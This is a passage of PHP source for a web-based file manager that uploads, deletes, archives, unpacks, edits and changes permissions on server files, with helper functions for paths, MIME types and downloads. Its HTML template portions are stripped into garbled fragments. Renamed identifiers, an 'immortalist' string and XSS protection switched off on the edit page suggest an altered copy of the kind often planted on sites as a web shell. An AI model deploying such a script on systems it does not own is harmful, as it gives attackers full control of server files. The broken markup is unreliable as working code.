($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'immortalist
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
